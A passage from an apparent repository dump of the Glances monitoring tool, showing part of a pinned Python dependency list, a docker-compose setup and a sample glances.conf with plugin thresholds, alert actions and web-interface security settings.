semgrep\ngoogleapis-common-protos==1.73.0\n    # via opentelemetry-exporter-otlp-proto-http\ngprof2dot==2025.4.14\nh11==0.16.0\n    # via\n    #   httpcore\n    #   uvicorn\n    #   wsproto\nhttpcore==1.0.9\n    # via httpx\nhttpx==0.28.1\n    # via mcp\nhttpx-sse==0.4.3\n    # via mcp\nidentify==2.6.17\n    # via pre-commit\nidna==3.11\n    # via\n    #   anyio\n    #   httpx\n    #   requests\n    #   trio\nimagesize==2.0.0\n    # via sphinx\nimportlib-metadata==8.7.1\n    # via opentelemetry-api\niniconfig==2.3.0\n    # via pytest\njinja2==3.1.6\n    # via\n    #   reuse\n    #   sphinx\njsonschema==4.25.1\n    # via\n    #   mcp\n    #   semgrep\njsonschema-specifications==2025.9.1\n    # via jsonschema\nkiwisolver==1.5.0\n    # via matplotlib\nlicense-expression==30.4.4\n    # via reuse\nmarkdown-it-py==4.0.0\n    # via rich\nmarkupsafe==3.0.3\n    # via jinja2\nmatplotlib==3.10.8\nmcp==1.23.3\n    # via semgrep\nmdurl==0.1.2\n    # via markdown-it-py\nmemory-profiler==0.61.0\nnodeenv==1.10.0\n    # via\n    #   pre-commit\n    #   pyright\nnumpy==2.2.6 ; python_full_version < '3.11'\n    # via\n    #   contourpy\n    #   matplotlib\nnumpy==2.4.3 ; python_full_version >= '3.11'\n    # via\n    #   contourpy\n    #   matplotlib\nopentelemetry-api==1.37.0\n    # via\n    #   opentelemetry-exporter-otlp-proto-http\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-requests\n    #   opentelemetry-instrumentation-threading\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\n    #   semgrep\nopentelemetry-exporter-otlp-proto-common==1.37.0\n    # via opentelemetry-exporter-otlp-proto-http\nopentelemetry-exporter-otlp-proto-http==1.37.0\n    # via semgrep\nopentelemetry-instrumentation==0.58b0\n    # via\n    #   opentelemetry-instrumentation-requests\n    #   opentelemetry-instrumentation-threading\nopentelemetry-instrumentation-requests==0.58b0\n    # via semgrep\nopentelemetry-instrumentation-threading==0.58b0\n    # via semgrep\nopentelemetry-proto==1.37.0\n    # via\n    #   opentelemetry-exporter-otlp-proto-common\n    #   opentelemetry-exporter-otlp-proto-http\nopentelemetry-sdk==1.37.0\n    # via\n    #   opentelemetry-exporter-otlp-proto-http\n    #   semgrep\nopentelemetry-semantic-conventions==0.58b0\n    # via\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-requests\n    #   opentelemetry-sdk\nopentelemetry-util-http==0.58b0\n    # via opentelemetry-instrumentation-requests\noutcome==1.3.0.post0\n    # via\n    #   trio\n    #   trio-websocket\npackaging==26.0\n    # via\n    #   matplotlib\n    #   opentelemetry-instrumentation\n    #   pytest\n    #   requirements-parser\n    #   semgrep\n    #   sphinx\n    #   webdriver-manager\npeewee==3.19.0\n    # via semgrep\npillow==12.1.1\n    # via matplotlib\nplatformdirs==4.9.4\n    # via\n    #   python-discovery\n    #   virtualenv\npluggy==1.6.0\n    # via pytest\npre-commit==4.5.1\nprotobuf==6.33.5\n    # via\n    #   googleapis-common-protos\n    #   opentelemetry-proto\npsutil==7.2.2\n    # via memory-profiler\npy-spy==0.4.1\npycparser==3.0 ; (implementation_name != 'PyPy' and implementation_name != 'pypy' and os_name == 'nt') or (implementation_name != 'PyPy' and platform_python_implementation != 'PyPy')\n    # via cffi\npydantic==2.12.5\n    # via\n    #   mcp\n    #   pydantic-settings\n    #   rstcheck-core\npydantic-core==2.41.5\n    # via pydantic\npydantic-settings==2.13.1\n    # via mcp\npygments==2.19.2\n    # via\n    #   pytest\n    #   rich\n    #   sphinx\npyinstrument==5.1.2\npyjwt==2.12.1\n    # via\n    #   mcp\n    #   semgrep\npyparsing==3.3.2\n    # via matplotlib\npyright==1.1.408\npysocks==1.7.1\n    # via urllib3\npytest==9.0.2\npython-dateutil==2.9.0.post0\n    # via matplotlib\npython-debian==1.1.0\n    # via reuse\npython-discovery==1.1.3\n    # via virtualenv\npython-dotenv==1.2.2\n    # via\n    #   pydantic-settings\n    #   webdriver-manager\npython-magic==0.4.27\n    # via reuse\npython-multipart==0.0.22\n    # via mcp\npywin32==311 ; sys_platform == 'win32'\n    # via\n    #   mcp\n    #   semgrep\npyyaml==6.0.3\n    # via pre-commit\nreferencing==0.37.0\n    # via\n    #   jsonschema\n    #   jsonschema-specifications\nrequests==2.32.5\n    # via\n    #   opentelemetry-exporter-otlp-proto-http\n    #   semgrep\n    #   sphinx\n    #   webdriver-manager\nrequirements-parser==0.13.0\nreuse==6.2.0\nrich==14.3.3\n    # via\n    #   semgrep\n    #   typer\nroman-numerals==4.1.0 ; python_full_version >= '3.11'\n    # via sphinx\nrpds-py==0.30.0\n    # via\n    #   jsonschema\n    #   referencing\nrstcheck==6.2.5\nrstcheck-core==1.2.2\n    # via rstcheck\nruamel-yaml==0.19.1\n    # via semgrep\nruamel-yaml-clib==0.2.14\n    # via semgrep\nruff==0.15.6\nselenium==4.41.0\nsemantic-version==2.10.0\n    # via semgrep\nsemgrep==1.155.0\nsetuptools==82.0.1\nshellingham==1.5.4\n    # via typer\nsix==1.17.0\n    # via python-dateutil\nsniffio==1.3.1\n    # via trio\nsnowballstemmer==3.0.1\n    # via sphinx\nsortedcontainers==2.4.0\n    # via trio\nsphinx==8.1.3 ; python_full_version < '3.11'\n    # via\n    #   sphinx-rtd-theme\n    #   sphinxcontrib-jquery\nsphinx==9.0.4 ; python_full_version == '3.11.*'\n    # via\n    #   sphinx-rtd-theme\n    #   sphinxcontrib-jquery\nsphinx==9.1.0 ; python_full_version >= '3.12'\n    # via\n    #   sphinx-rtd-theme\n    #   sphinxcontrib-jquery\nsphinx-rtd-theme==3.1.0\nsphinxcontrib-applehelp==2.0.0\n    # via sphinx\nsphinxcontrib-devhelp==2.0.0\n    # via sphinx\nsphinxcontrib-htmlhelp==2.1.0\n    # via sphinx\nsphinxcontrib-jquery==4.1\n    # via sphinx-rtd-theme\nsphinxcontrib-jsmath==1.0.1\n    # via sphinx\nsphinxcontrib-qthelp==2.0.0\n    # via sphinx\nsphinxcontrib-serializinghtml==2.0.0\n    # via sphinx\nsse-starlette==3.3.2\n    # via mcp\nstarlette==0.52.1\n    # via\n    #   mcp\n    #   sse-starlette\ntomli==2.0.2\n    # via\n    #   pytest\n    #   semgrep\n    #   sphinx\ntomlkit==0.14.0\n    # via reuse\ntrio==0.33.0\n    # via\n    #   selenium\n    #   trio-websocket\ntrio-websocket==0.12.2\n    # via selenium\ntyper==0.23.1\n    # via rstcheck\ntyping-extensions==4.15.0\n    # via\n    #   anyio\n    #   cryptography\n    #   mcp\n    #   opentelemetry-api\n    #   opentelemetry-exporter-otlp-proto-http\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\n    #   pydantic\n    #   pydantic-core\n    #   pyjwt\n    #   pyright\n    #   referencing\n    #   selenium\n    #   semgrep\n    #   starlette\n    #   typing-inspection\n    #   uvicorn\n    #   virtualenv\ntyping-inspection==0.4.2\n    # via\n    #   mcp\n    #   pydantic\n    #   pydantic-settings\nurllib3==2.6.3\n    # via\n    #   requests\n    #   selenium\n    #   semgrep\nuvicorn==0.41.0 ; sys_platform != 'emscripten'\n    # via mcp\nvirtualenv==21.2.0\n    # via pre-commit\nwcmatch==8.5.2\n    # via semgrep\nwebdriver-manager==4.0.2\nwebsocket-client==1.9.0\n    # via selenium\nwrapt==1.17.3\n    # via\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-threading\nwsproto==1.3.2\n    # via trio-websocket\nzipp==3.23.0\n    # via importlib-metadata\n"
  },
  {
    "path": "docker-bin.sh",
    "content": "#!/bin/sh\n\n/venv/bin/python3 -m glances \"$@\"\n"
  },
  {
    "path": "docker-compose/docker-compose.yml",
    "content": "services:\n  glances:\n    # See all images tags here: https://hub.docker.com/r/nicolargo/glances/tags\n    image: nicolargo/glances:latest-full\n    restart: always\n\n    healthcheck:\n      test: [\"CMD\", \"curl\", \"-f\", \"http://localhost:61208/api/4/status\"]\n      interval: 30s\n      timeout: 10s\n      retries: 3\n      start_period: 40s\n\n    pid: \"host\"\n    network_mode: \"host\"\n\n    read_only: true\n    privileged: false\n    # Uncomment next line for SATA or NVME smartctl monitoring\n    # cap_add:\n      # Uncomment next line for SATA smartctl monitoring\n      # - SYS_RAWIO\n      # Uncomment next line for NVME smartctl monitoring\n      # - SYS_ADMIN\n    # devices:\n    #   - \"/dev/nvme0\"\n\n    volumes:\n      - \"/:/rootfs:ro\"\n      - \"/var/run/docker.sock:/var/run/docker.sock:ro\"\n      # Uncomment for qemu/libvirt/kvm support with modular libvirt daemons\n      # - \"/var/run/libvirt/virtqemud-sock:/var/run/libvirt/libvirt-sock:ro\"\n      # OR monolithic libvirt daemon\n      # - \"/var/run/libvirt/libvirt-sock:/var/run/libvirt/libvirt-sock:ro\"\n      - \"/run/user/1000/podman/podman.sock:/run/user/1000/podman/podman.sock:ro\"\n      - \"./glances.conf:/glances/conf/glances.conf\"\n      # Uncomment for proper distro information in upper panel.\n#     # Works only for distros that do have this file (most of distros do).\n#      - \"/etc/os-release:/etc/os-release:ro\"\n\n    tmpfs:\n      - /tmp\n\n    environment:\n      - GLANCES_OPT=-C /glances/conf/glances.conf -w --enable-mcp --enable-plugin smart\n      # Please set to your local timezone (or use local ${TZ} environment variable if set on your host)\n      - TZ=Europe/Paris\n      - PYTHONPYCACHEPREFIX=/tmp/py_caches\n\n#     # Uncomment for GPU compatibility (Nvidia) inside the container\n#     deploy:\n#       resources:\n#         reservations:\n#           devices:\n#             - driver: nvidia\n#               count: 1\n#               capabilities: [gpu]\n\n    # Uncomment to protect Glances WebUI by a login/password (add --password to GLANCES_OPT)\n    # secrets:\n    #   - source: glances_password\n    #     target: /root/.config/glances/<login>.pwd\n\n# secrets:\n#   glances_password:\n#     file: ./secrets/glances_password\n"
  },
  {
    "path": "docker-compose/glances.conf",
    "content": "##############################################################################\n# Globals Glances parameters\n##############################################################################\n\n[global]\n# Stats refresh rate (default is a minimum of 2 seconds)\n# Can be overwrite by the -t <sec> option\n# It is also possible to overwrite it in each plugin sections\nrefresh=2\n# Does Glances should check if a newer version is available on PyPI ?\ncheck_update=False\n# History size (maximum number of values)\n# Default is 1200 values (~1h with the default refresh rate)\nhistory_size=1200\n# Set the way Glances should display the date (default is %Y-%m-%d %H:%M:%S %Z)\n#strftime_format=%Y-%m-%d %H:%M:%S %Z\n# Define external directory for loading additional plugins\n# The layout follows the glances standard for plugin definitions\n#plugin_dir=/home/user/dev/plugins\n\n##############################################################################\n# User interface\n##############################################################################\n\n[outputs]\n# Options for all UIs\n#--------------------\n# Separator in the Curses and WebUI interface (between top and others plugins)\n#separator=True\n# Set the the Curses and WebUI interface left menu plugin list (comma-separated)\n#left_menu=network,wifi,connections,ports,diskio,fs,irq,folders,raid,smart,sensors,now\n# Limit the number of processes to display (in the WebUI)\nmax_processes_display=25\n#\n# Specifics options for TUI\n#--------------------------\n# Disable background color\n#disable_bg=True\n#\n# Specifics options for WebUI\n#----------------------------\n# Set URL prefix for the WebUI and the API\n# Example: url_prefix=/glances/ => http://localhost/glances/\n# Note: The final / is mandatory\n# Default is no prefix (/)\n#url_prefix=/glances/\n# Set root path for WebUI statics files\n# Why ? On Debian system, WebUI statics files are not provided.\n# You can download it in a specific folder\n# thanks to https://github.com/nicolargo/glances/issues/2021\n# then configure this folder with the webui_root_path key\n# Default is folder where glances_restful_api.py is hosted\n#webui_root_path=\n#\n# CORS options\n# Comma separated list of origins that should be permitted to make cross-origin requests.\n# Default is *\n#cors_origins=*\n# Indicate that cookies should be supported for cross-origin requests.\n# Default is False.\n# Set to True only when cors_origins is explicitly configured with specific origins.\n#cors_credentials=False\n# Comma separated list of HTTP methods that should be allowed for cross-origin requests.\n# Default is *\n#cors_methods=*\n# Comma separated list of HTTP request headers that should be supported for cross-origin requests.\n# Default is *\n#cors_headers=*\n#\n# Define SSL files (keyfile_password is optional)\n#ssl_keyfile_password=kfp\n#ssl_keyfile=./glances.local+3-key.pem\n#ssl_certfile=./glances.local+3.pem\n#\n# JWT Authentication settings\n# Secret key for signing JWT tokens (generate with: openssl rand -hex 32)\n# If not set, a random key is generated per server instance (tokens won't survive restart)\n#jwt_secret_key=your-secure-secret-key-here\n# Token expiration time in minutes (default: 60)\n#jwt_expire_minutes=60\n#\n# DNS rebinding protection for the REST API / WebUI\n# Restrict the HTTP Host header accepted by the web server.\n# Comma-separated list of hostnames or IPs. Wildcards are supported (e.g. *.example.com).\n# When this key is absent or commented out, no host filtering is applied (default behaviour).\n# Recommended for any internet-facing or multi-tenant deployment.\n#webui_allowed_hosts=localhost,127.0.0.1,myserver.example.com\n#\n# MCP\n# Overwrite the default MCP path\n#mcp_path=/mcp\n# Allowed Host headers for the MCP SSE endpoint (DNS rebinding protection).\n# Comma-separated list. Defaults to localhost,127.0.0.1 when not set.\n# Set to * to allow any host - use only behind a trusted reverse proxy.\n#mcp_allowed_hosts=localhost,127.0.0.1,myserver.example.com\n\n##############################################################################\n# Plugins\n##############################################################################\n\n[quicklook]\n# Set to true to disable a plugin\n# Note: you can also disable it from the command line (see --disable-plugin <plugin_name>)\ndisable=False\n# Stats list (default is cpu,mem,load)\n# Available stats are: cpu,mem,load,swap\nlist=cpu,mem,load\n# Graphical bar char used in the terminal user interface (default is |)\nbar_char=▪\n# Define CPU, MEM and SWAP thresholds in %\ncpu_careful=50\ncpu_warning=70\ncpu_critical=90\nmem_careful=50\nmem_warning=70\nmem_critical=90\nswap_careful=50\nswap_warning=70\nswap_critical=90\n# Source: http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages\n# With 1 CPU core, the load should be lower than 1.00 ~ 100%\nload_careful=70\nload_warning=100\nload_critical=500\n\n[system]\n# This plugin display the first line in the Glances UI with:\n# Hostname / Operating system name / Architecture information\n# Set to true to disable a plugin\ndisable=False\n# Default refresh rate is 60 seconds\n#refresh=60\n# System information to display (a string where {key} will be replaced by the value)\n# Available information are: hostname, os_name, os_version, os_arch, linux_distro, platform\n#system_info_msg= | My {os_name} system |\n\n[cpu]\ndisable=False\n# See https://scoutapm.com/blog/slow_server_flow_chart\n#\n# I/O wait percentage should be lower than 1/# (# = Logical CPU cores)\n# Leave commented to just use the default config:\n# Careful=1/#*100-20% / Warning=1/#*100-10% / Critical=1/#*100\n#iowait_careful=30\n#iowait_warning=40\n#iowait_critical=50\n#\n# Total % is 100 - idle\ntotal_careful=65\ntotal_warning=75\ntotal_critical=85\ntotal_log=True\n#\n# Default values if not defined: 50/70/90 (except for iowait)\nuser_careful=50\nuser_warning=70\nuser_critical=90\nuser_log=False\n#user_critical_action=echo \"{{time}} User CPU {{user}} higher than {{critical}}\" > /tmp/cpu.alert\n#\nsystem_careful=50\nsystem_warning=70\nsystem_critical=90\nsystem_log=False\n#\nsteal_careful=50\nsteal_warning=70\nsteal_critical=90\n#steal_log=True\n#\n# Context switch limit (core / second)\n# Leave commented to just use the default config critical is 50000*(Logical CPU cores)\n#ctx_switches_careful=10000\n#ctx_switches_warning=12000\n#ctx_switches_critical=14000\n\n[percpu]\ndisable=False\n# Define the maximum number of CPU displayed at a time\n# If the number of CPU is higher than the one configured in max_cpu_display then:\n# - display top 'max_cpu_display' (sorted by CPU consumption)\n# - a last line will be added with the mean of all other CPUs\nmax_cpu_display=4\n# Define CPU thresholds in %\n# Default values if not defined: 50/70/90\nuser_careful=50\nuser_warning=70\nuser_critical=90\niowait_careful=50\niowait_warning=70\niowait_critical=90\nsystem_careful=50\nsystem_warning=70\nsystem_critical=90\n\n[gpu]\ndisable=False\n# Default GPU load thresholds in %\nproc_careful=50\nproc_warning=70\nproc_critical=90\n# Default GPU memory thresholds in %\nmem_careful=50\nmem_warning=70\nmem_critical=90\n# Default GPU temperature thresholds in degrees Celsus\ntemperature_careful=60\ntemperature_warning=70\ntemperature_critical=80\n\n[npu]\ndisable=True\n# Default NPU load thresholds in %\nload_careful=50\nload_warning=70\nload_critical=90\n# Default NPU frequency thresholds in %\nfreq_careful=50\nfreq_warning=70\nfreq_critical=90\n\n[mem]\ndisable=False\n# Display available memory instead of used memory\n#available=True\n# Define RAM thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n#critical_action_repeat=echo \"{{time}} {{percent}} higher than {{critical}}\"\" >> /tmp/memory.alert\n\n[memswap]\ndisable=False\n# Define SWAP thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n#warning_action=echo \"{{time}} {{percent}} higher than {{warning}}\"\" > /tmp/memory.alert\n\n[load]\ndisable=False\n# Define LOAD thresholds\n# Value * number of cores\n# Default values if not defined: 0.7/1.0/5.0 per number of cores\n# Source: http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages\n#         http://www.linuxjournal.com/article/9001\ncareful=0.7\nwarning=1.0\ncritical=5.0\n#log=False\n\n[network]\ndisable=False\n# Default bitrate thresholds in % of the network interface speed\n# Default values if not defined: 70/80/90\nrx_careful=70\nrx_warning=80\nrx_critical=90\ntx_careful=70\ntx_warning=80\ntx_critical=90\n# Define the list of hidden network interfaces (comma-separated regexp)\n#hide=docker.*,lo\n# Define the list of wireless network interfaces to be show (comma-separated)\n#show=docker.*\n# Automatically hide interface not up (default is False)\nhide_no_up=True\n# Automatically hide interface with no IP address (default is False)\nhide_no_ip=True\n# Set hide_zero to True to automatically hide interface with no traffic\nhide_zero=False\n# Set hide_threshold_bytes to an integer value to automatically hide\n# interface with traffic less or equal than this value\n#hide_threshold_bytes=0\n# It is possible to overwrite the bitrate thresholds per interface\n# WLAN 0 Default limits (in bits per second aka bps) for interface bitrate\n#wlan0_rx_careful=4000000\n#wlan0_rx_warning=5000000\n#wlan0_rx_critical=6000000\n#wlan0_rx_log=True\n#wlan0_tx_careful=700000\n#wlan0_tx_warning=900000\n#wlan0_tx_critical=1000000\n#wlan0_tx_log=True\n#wlan0_rx_critical_action=echo \"{{time}} {{interface_name}} RX {{bytes_recv_rate_per_sec}}Bps\" > /tmp/network.alert\n# Alias for network interface name\n#alias=wlp0s20f3:WIFI\n\n[ip]\n# Disable display of private IP address\ndisable=False\n# Configure the online service where public IP address information will be downloaded\n# - public_disabled: Disable public IP address information (set to True for offline platform)\n# - public_refresh_interval: Refresh interval between to calls to the online service\n# - public_api: URL of the API (the API should return an JSON object)\n# - public_username: Login for the online service (if needed)\n# - public_password: Password for the online service (if needed)\n# - public_field: Field name of the public IP address in onlibe service JSON message\n# - public_template: Template to build the public message\n#\n# Example for IPLeak service:\n# public_api=https://ipv4.ipleak.net/json/\n# public_field=ip\n# public_template={ip} {continent_name}/{country_name}/{city_name}\n#\npublic_disabled=True\npublic_refresh_interval=300\npublic_api=https://ipv4.ipleak.net/json/\n#public_username=<myname>\n#public_password=<mysecret>\npublic_field=ip\npublic_template={continent_name}/{country_name}/{city_name}\n\n[connections]\n# Display additional information about TCP connections\n# This plugin is disabled by default because it consumes lots of CPU\ndisable=True\n# nf_conntrack thresholds in %\nnf_conntrack_percent_careful=70\nnf_conntrack_percent_warning=80\nnf_conntrack_percent_critical=90\n\n[wifi]\ndisable=False\n# Define SIGNAL thresholds in dBm (lower is better...)\n# Based on: http://serverfault.com/questions/501025/industry-standard-for-minimum-wifi-signal-strength\ncareful=-65\nwarning=-75\ncritical=-85\n\n[diskio]\ndisable=False\n# Define the list of hidden disks (comma-separated regexp)\n#hide=sda2,sda5,loop.*\nhide=loop.*,/dev/loop.*\n# Set hide_zero to True to automatically hide disk with no read/write\nhide_zero=False\n# Set hide_threshold_bytes to an integer value to automatically hide\n# interface with traffic less or equal than this value\n#hide_threshold_bytes=0\n# Define the list of disks to be show (comma-separated)\n#show=sda.*\n# Alias for sda1 and sdb1\n#alias=sda1:SystemDisk,sdb1:DataDisk\n# Default latency thresholds (in ms) (rx = read / tx = write)\nrx_latency_careful=10\nrx_latency_warning=20\nrx_latency_critical=50\ntx_latency_careful=10\ntx_latency_warning=20\ntx_latency_critical=50\n# Set latency thresholds (latency in ms) for a given disk name (rx = read / tx = write)\n# dm-0_rx_latency_careful=10\n# dm-0_rx_latency_warning=20\n# dm-0_rx_latency_critical=50\n# dm-0_rx_latency_log=False\n# dm-0_tx_latency_careful=10\n# dm-0_tx_latency_warning=20\n# dm-0_tx_latency_critical=50\n# dm-0_tx_latency_log=False\n# There is no default bitrate thresholds for disk (because it is not possible to know the disk speed)\n# Set bitrate thresholds (in bytes per second) for a given disk name (rx = read / tx = write)\n#dm-0_rx_careful=4000000000\n#dm-0_rx_warning=5000000000\n#dm-0_rx_critical=6000000000\n#dm-0_rx_log=False\n#dm-0_tx_careful=700000000\n#dm-0_tx_warning=900000000\n#dm-0_tx_critical=1000000000\n#dm-0_tx_log=False\n\n[fs]\ndisable=False\n# Define the list of file system to hide (comma-separated regexp)\nhide=/boot.*,.*/snap.*\n# Define the list of file system to show (comma-separated regexp)\n#show=/,/srv\n# Define filesystem space thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n# It is also possible to define per mount point value\n# Example: /_careful=40\n#/_careful=1\n#/_warning=5\n#/_critical=10\n#/_critical_action=echo \"{{time}} {{mnt_point}} filesystem space {{percent}}% higher than {{critical}}%\" > /tmp/fs.alert\n# Allow additional file system types (comma-separated FS type)\n#allow=shm\n# Alias for root file system\n#alias=/:Root,/zfspool:ZFS\n\n[irq]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/irq.html\n# This plugin is disabled by default\ndisable=True\n\n[folders]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/folders.html\ndisable=False\n# Define a folder list to monitor\n# The list is composed of items (list_#nb <= 10)\n# An item is defined by:\n# * path: absolute path\n# * careful: optional careful threshold (in MB)\n# * warning: optional warning threshold (in MB)\n# * critical: optional critical threshold (in MB)\n# * refresh: interval in second between two refreshes\n#folder_1_path=/tmp\n#folder_1_careful=2500\n#folder_1_warning=3000\n#folder_1_critical=3500\n#folder_1_refresh=60\n#folder_2_path=/home/nicolargo/Videos\n#folder_2_warning=17000\n#folder_2_critical=20000\n#folder_3_path=/nonexisting\n#folder_4_path=/root\n\n[cloud]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/cloud.html\n# This plugin is disabled by default\ndisable=True\n\n[raid]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/raid.html\n# This plugin is disabled by default\ndisable=True\n\n[smart]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/smart.html\n# This plugin is disabled by default\ndisable=True\n# Define the list of sensors to hide (comma-separated regexp)\n#hide=.*Hide_this_driver.*\n# Define the list of sensors to show (comma-separated regexp)\n#show=.*Drive_Temperature.*\n# List of attributes to hide (comma separated)\n#hide_attributes=Self-tests,Errors\n\n[hddtemp]\ndisable=False\n# Define hddtemp server IP and port (default is 127.0.0.1 and 7634 (TCP))\nhost=127.0.0.1\nport=7634\n\n[sensors]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/sensors.html\ndisable=False\n# Set the refresh multiplicator for the sensors\n# By default refresh every Glances refresh * 5 (increase to reduce CPU consumption)\n#refresh=5\n# Hide some sensors (comma separated list of regexp)\nhide=unknown.*\n# Show only the following sensors (comma separated list of regexp)\n#show=CPU.*\n# Sensors core thresholds (in Celsius...)\n# By default values are grabbed from the system\n# Overwrite thresholds for a specific sensor\n# temperature_core_Ambient_careful=40\n# temperature_core_Ambient_warning=60\n# temperature_core_Ambient_critical=85\n# temperature_core_Ambient_log=True\n# temperature_core_Ambient_critical_action=echo \"{{time}} {{label}} temperature {{value}}{{unit}} higher than {{critical}}{{unit}}\" > /tmp/temperature.alert\n# Overwrite thresholds for a specific type of sensor\n#temperature_core_careful=45\n#temperature_core_warning=65\n#temperature_core_critical=80\n# Temperatures threshold in °C for hddtemp\n# Default values if not defined: 45/52/60\n#temperature_hdd_careful=45\n#temperature_hdd_warning=52\n#temperature_hdd_critical=60\n# Battery threshold in %\n# Default values if not defined: 70/80/90\n#battery_careful=70\n#battery_warning=80\n#battery_critical=90\n# Fan speed threshold in RPM\n#fan_speed_careful=100\n# Sensors alias\n#alias=core 0:CPU Core 0,core 1:CPU Core 1\n\n[processcount]\ndisable=False\n# If you want to change the refresh rate of the processing list, please uncomment:\n#refresh=10\n\n[processlist]\ndisable=False\n# Sort key: if not defined, the sort is automatically done by Glances (recommended)\n# Should be one of the following:\n# cpu_percent, memory_percent, io_counters, name, cpu_times, username\n#sort_key=memory_percent\n# List of stats to disable (not grabed and not display)\n# Stats that can be disabled: cpu_percent,memory_info,memory_percent,username,cpu_times,num_threads,nice,status,io_counters,cmdline,cpu_num\n# Stats that can not be disable: pid,name\ndisable_stats=cpu_num\n# Disable display of virtual memory\n#disable_virtual_memory=True\n# Define CPU/MEM (per process) thresholds in %\n# Default values if not defined: 50/70/90\ncpu_careful=50\ncpu_warning=70\ncpu_critical=90\nmem_careful=50\nmem_warning=70\nmem_critical=90\n#\n# Nice priorities range from -20 to 19.\n# Configure nice levels using a comma-separated list.\n#\n# Nice: Example 1, non-zero is warning (default behavior)\nnice_warning=-20,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19\n#\n# Nice: Example 2, low priority processes escalate from careful to critical\n#nice_ok=O\n#nice_careful=1,2,3,4,5,6,7,8,9\n#nice_warning=10,11,12,13,14\n#nice_critical=15,16,17,18,19\n#\n# Status: define threshold regarding the process status (first letter of process status)\n# R: Running, S: Sleeping, Z: Zombie (complete list here https://psutil.readthedocs.io/en/latest/#process-status-constants)\nstatus_ok=R,W,P,I\nstatus_critical=Z,D\n# Define the list of processes to export using:\n# a comma-separated list of Glances filter\n#export=.*firefox.*,pid:1234\n# Define a list of process to focus on (comma-separated list of Glances filter)\n#focus=.*firefox.*,.*python.*\n\n[ports]\ndisable=False\n# Interval in second between two scans\n# Ports scanner plugin configuration\nrefresh=30\n# Set the default timeout (in second) for a scan (can be overwritten in the scan list)\ntimeout=3\n# If port_default_gateway is True, add the default gateway on top of the scan list\nport_default_gateway=False\n#\n# Define the scan list (1 < x < 255)\n# port_x_host (name or IP) is mandatory\n# port_x_port (TCP port number) is optional (if not set, use ICMP)\n# port_x_description is optional (if not set, define to host:port)\n# port_x_timeout is optional and overwrite the default timeout value\n# port_x_rtt_warning is optional and defines the warning threshold in ms\n#\n#port_1_host=192.168.0.1\n#port_1_port=80\n#port_1_description=Home Box\n#port_1_timeout=1\n#port_2_host=www.free.fr\n#port_2_description=My ISP\n#port_3_host=www.google.com\n#port_3_description=Internet ICMP\n#port_3_rtt_warning=1000\n#port_4_description=Internet Web\n#port_4_host=www.google.com\n#port_4_port=80\n#port_4_rtt_warning=1000\n#\n# Define Web (URL) monitoring list (1 < x < 255)\n# web_x_url is the URL to monitor (example: http://my.site.com/folder)\n# web_x_description is optional (if not set, define to URL)\n# web_x_timeout is optional and overwrite the default timeout value\n# web_x_rtt_warning is optional and defines the warning respond time in ms (approximately)\n#\n#web_1_url=https://blog.nicolargo.com\n#web_1_description=My Blog\n#web_1_rtt_warning=3000\n#web_2_url=https://github.com\n#web_3_url=http://www.google.fr\n#web_3_description=Google Fr\n#web_4_url=https://blog.nicolargo.com/nonexist\n#web_4_description=Intranet\n\n[vms]\ndisable=True\n# Define the maximum VMs size name (default is 20 chars)\nmax_name_size=20\n# By default, Glances only display running VMs with states:\n# 'Running', 'Paused', 'Starting' or 'Restarting'\n# Set the following key to True to display all VMs regarding their states\nall=False\n\n[containers]\ndisable=False\n# Only show specific containers (comma-separated list of container name or regular expression)\n# Comment this line to display all containers (default configuration)\n; show=telegraf\n# Hide some containers (comma-separated list of container name or regular expression)\n# Comment this line to display all containers (default configuration)\n; hide=telegraf\n# Define the maximum docker size name (default is 20 chars)\nmax_name_size=20\n# List of stats to disable (not display)\n# Following stats can be disabled: name,status,uptime,cpu,mem,diskio,networkio,ports,command\ndisable_stats=command\n# Thresholds for CPU and MEM (in %)\n; cpu_careful=50\n; cpu_warning=70\n; cpu_critical=90\n; mem_careful=20\n; mem_warning=50\n; mem_critical=70\n#\n# Per container thresholds\n; containername_cpu_careful=10\n; containername_cpu_warning=20\n; containername_cpu_critical=30\n#\n# By default, Glances only display running containers\n# Set the following key to True to display all containers\nall=False\n# Define Podman sock\n; podman_sock=unix:///run/user/1000/podman/podman.sock\n\n[amps]\n# AMPs configuration are defined in the bottom of this file\ndisable=False\n\n[alert]\ndisable=False\n# Maximum number of events to display (default is 10 events)\n;max_events=10\n# Minimum duration for an event to be taken into account (default is 6 seconds)\n;min_duration=6\n# Minimum time between two events of the same type (default is 6 seconds)\n# This is used to avoid too many alerts for the same event\n# Events will be merged\n;min_interval=6\n\n##############################################################################\n# Browser mode - Static servers definition\n##############################################################################\n\n[serverlist]\n# Define columns (comma separated list of <plugin>:<field>:(<key>)) to grab/display\n# Default is: system:hr_name,load:min5,cpu:total,mem:percent\n# You can also add stats with key, like sensors:value:Ambient (key is case sensitive)\n#columns=system:hr_name,load:min5,cpu:total,mem:percent,memswap:percent,sensors:value:Ambient,sensors:value:Composite\n# Define the static servers list\n# _protocol can be: rpc (default if not defined) or rest\n# List is limited to 256 servers max (1 to 256)\n#server_1_name=localhost\n#server_1_alias=Local WebUI\n#server_1_port=61266\n#server_1_protocol=rest\n#server_2_name=localhost\n#server_2_alias=My local PC\n#server_2_port=61209\n#server_2_protocol=rpc\n#server_3_name=192.168.0.17\n#server_3_alias=Another PC on my network\n#server_3_port=61209\n#server_3_protocol=rpc\n#server_4_name=notagooddefinition\n#server_4_port=61237\n\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# 